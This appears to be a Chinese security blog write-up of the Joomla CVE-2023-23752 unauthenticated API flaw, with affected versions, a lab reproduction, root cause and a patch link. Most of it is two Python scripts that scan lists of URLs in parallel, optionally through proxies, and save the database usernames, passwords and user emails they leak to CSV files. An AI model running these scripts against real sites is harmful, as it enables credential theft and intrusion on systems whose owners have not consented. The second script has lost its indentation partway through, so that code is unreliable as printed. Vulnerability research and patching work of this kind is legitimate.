Joomla 未授权访问漏洞 CVE-2023-23752

Joomla 未授权访问漏洞 CVE-2023-23752

一、Joomla 是什么?

Joomla 是一款开源的内容管理系统 (CMS),使用 PHP 编写,支持 MySQL、MSSQL 和 PostgreSQL 等多种数据库系统。

二、CVE-2023-23752

此漏洞导致任意用户未经授权可访问服务器 REST API 接口。

三、受影响版本

4.0.0 <= Joomla <= 4.2.7

四、漏洞复现

下载地址:http://www.joomlachina.cn/download/joomla/Joomla_4.2.3-Stable-Full_Package.zip

以下为两个为检测此漏洞的脚本 PoC

CVE-2023-23752.py

# -*- coding: utf-8 -*-
import requests
import argparse
import threading
import sys
import re
import time


def cmd_line():
    parse = argparse.ArgumentParser(
        description="Joomla 未授权访问漏洞 CVE-2023-23752",
        usage='''
        python CVE-2023-23752.py -u url
        python CVE-2023-23752.py -f file.txt
        python CVE-2023-23752.py -f file.txt -o out_file.csv
        python CVE-2023-23752.py -f file.txt -p socks5://127.0.0.1:8080 
        ''', add_help=True)
    parse.add_argument('-u', '--url', help="指定webshell地址")
    parse.add_argument('-f', '--file', help="指定文件")
    parse.add_argument('-p', '--proxy', help="设置代理,如socks5://127.0.0.1:7890 [clash]")
    parse.add_argument('-o', '--output', help="将结果输出到文件", default=str(time.time()) + ".csv")

    if len(sys.argv) == 1:
        sys.argv.append('-h')
    return parse.parse_args()


def poc(url, proxy_server, output_file):
    try:
        if url[-1:] == '/':
            url = str(url).strip('/')
        payload = "{}/api/index.php/v1/config/application?public=true".format(url)
        header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"}
        response = requests.get(url=payload, proxies={"http": proxy_server, "https": proxy_server}, headers=header)
        html = response.text
        if "password" in html:
            print("[+] 漏洞存在![✅]url: {}".format(url))
            pattern = re.compile(r'\{"user":"(.*?)","id":')
            username = pattern.findall(html)[0]
            print('用户名: ' + username)
            pattern = re.compile(r'\{"password":"(.*?)","id":')
            password = pattern.findall(html)[0]
            print('密码: ' + password)
            if output_file:
                with open(output_file, 'a', encoding='utf-8') as f:
                    f.write('{0},{1},{2},{3}\n'.format(url, payload, username, password))
        else:
            print("[x] 未检测到漏洞![x] url: {}".format(url))
    except:
        print("[!] URL连接失败![!] url: {}".format(url))


def file(url, file, proxy_server, output_file):
    with open(file, 'r', encoding='utf-8') as f:
        urls = f.readlines()
    threads = []
    for url in urls:
        t = threading.Thread(target=poc, args=(url.strip(), proxy_server, output_file))
        threads.append(t)
        t.start()


if __name__ == "__main__":
    args = cmd_line()

    if args.file:
        file(args.url, args.file, args.proxy, args.output)
    else:
        poc(args.url, args.proxy, args.output)

main.py

import requests
import argparse
import csv
import json

timeout = 10

output = ""
proxy = {}
notColor = False


def inGreen(s):
    return "\033[0;32m{}\033[0m".format(s)

def inYellow(s):
    return "\033[0;33m{}\033[0m".format(s)

def readFile(filepath):
    file = open(filepath, encoding='utf8')
    return file.readlines()


def writeFile(filepath, data):
    file = open(filepath, 'a', encoding='utf8')
    filecsv = csv.writer(file)
    filecsv.writerow(data)


def reqDatabase(url):
    if url.rindex("/") == len(url) - 1:
        url = "{}api/index.php/v1/config/application?public=true".format(url)
    else:
        url = "{}/api/index.php/v1/config/application?public=true".format(url)

    payload = {}
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close'
    }

    response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)

    # print(response.text)
    if "links" in response.text and "\"password\":" in response.text:
        try:
            rejson = json.loads(response.text)
            user = ""
            password = ""
            for dataone in rejson['data']:
                # print(dataone['attributes'])
                if "user" in dataone['attributes']:
                    user = dataone['attributes']['user']
                if "password" in dataone['attributes']:
                    password = dataone['attributes']['password']
            if user != "" or password != "":
                printBody = "[+] [Database]   {} --> {} / {}".format(url, user, password)
                if notColor:
                    print(printBody)
                else:
                    print(inYellow(printBody))
                if output.strip() != "":
                    writeFile(output + "_databaseUserAndPassword.csv", [url, user, password, response.text])
            return url, response.text
        except:
            pass


def reqUserAndEmail(url):
    if url.rindex("/") == len(url) - 1:
        url = "{}api/index.php/v1/users?public=true".format(url)
    else:
        url = "{}/api/index.php/v1/users?public=true".format(url)

    payload = {}
    headers = {
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close'
    }

    response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)

    if "username" in response.text and "email" in response.text:
    try:
    rejson = json.loads(response.text)
    for dataone in rejson['data']:
    username = ""
    email = ""
    # print(dataone['attributes'])
    if "username" in dataone['attributes']:
    username = dataone['attributes']['username']
    if "email" in dataone['attributes']:
    email = dataone['attributes']['email']
    if username != "" or email != "":
    printBody = "[+] [User&email] {} --> {} / {}".format(url, username, email)
    if notColor:
    print(printBody)
else:
    print(inGreen(printBody))
    if output.strip() != "":
    writeFile(output + "_usernameAndEmail.csv", [url, username, email, response.text])
    return url, response.text
    except:
    pass


    def reqs(listfileName):
    urls = readFile(listfileName)
    for url in urls:
    url = url.strip()
    if url == "":
    continue
    reqDatabase(url)
    reqUserAndEmail(url)


    def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, default="", help="测试目标的 URL")
    parser.add_argument('-l', '--listfile', type=str, default="", help="测试目标的地址文件")
    parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置")
    parser.add_argument('-p', '--proxy', type=str, default="", help="代理,如:http://localhost:1080")
    parser.add_argument('-nc', '--notColor', type=bool, default=False, help="禁止带颜色的输出,如:-nc true")

    opt = parser.parse_args()
    args = vars(opt)
    url = args['url']
    urlFileName = args['listfile']
    global output, proxy, notColor
    output = args['output']
    proxy['http'] = args['proxy']
    proxy['https'] = args['proxy']
    notColor = args['notColor']

    if url != "":
    reqDatabase(url)
    if urlFileName != "":
    reqs(urlFileName)


    if __name__ == '__main__':
    main()

虚拟机装上小皮面板

图片[1]-Joomla 未授权访问漏洞 CVE-2023-23752-零度非安全
虚拟机装上小皮面板

访问 http://10.211.55.28:9080/F0B48F 进入小皮面板,装上 LAMP 环境,此 Joomla 版本要求 PHP 最低要 7.2.5 版本

图片[2]-Joomla 未授权访问漏洞 CVE-2023-23752-零度非安全
Joomla 后台

在本地 shell 中执行脚本

图片[3]-Joomla 未授权访问漏洞 CVE-2023-23752-零度非安全
在本地 shell 中执行脚本

构建 url 路径及相关参数后可直接实现未授权访问,得到敏感信息

图片[4]-Joomla 未授权访问漏洞 CVE-2023-23752-零度非安全
构建 url 路径及相关参数

五、原理

Joomla 中由于/api/index.php 入口路由存在访问检查错误,route.var 中的变量会被请求的变量覆盖,当 public=true 时接口不需要身份验证,直接到达路由分发。远程攻击者可以对 web 服务端点进行未经授权的访问。

https://ost.51cto.com/posts/21411

六、解决办法

官方已发布漏洞补丁及修复版本:https://github.com/joomla/joomla-cms/releases/tag/4.2.8

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容